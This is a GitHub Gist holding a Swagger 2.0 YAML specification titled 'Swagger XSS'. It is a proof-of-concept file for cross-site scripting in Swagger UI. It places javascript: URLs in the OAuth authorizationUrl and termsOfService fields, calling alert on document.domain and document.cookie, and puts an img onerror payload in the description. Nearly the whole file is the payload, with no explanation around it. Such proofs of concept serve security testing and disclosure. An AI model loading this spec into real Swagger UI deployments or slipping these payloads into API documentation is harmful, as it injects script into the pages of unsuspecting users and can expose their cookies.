Skip to content

Instantly share code, notes, and snippets.

@joelczk
Created December 29, 2021 02:55
Show Gist options
  • Save joelczk/eb047cc99850eec294a8d07abf70f8cc to your computer and use it in GitHub Desktop.
Save joelczk/eb047cc99850eec294a8d07abf70f8cc to your computer and use it in GitHub Desktop.
swagger: '2.0'
securityDefinitions:
a:
type: oauth2
authorizationUrl: javascript:alert(document.domain)//
info:
version: "0.0.1"
title: Swagger XSS
description: <img src=x onerror=alert(1)>
termsOfService: "javascript:alert(document.cookie)"
paths:
/:
get:
responses:
200:
description: Successful response
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment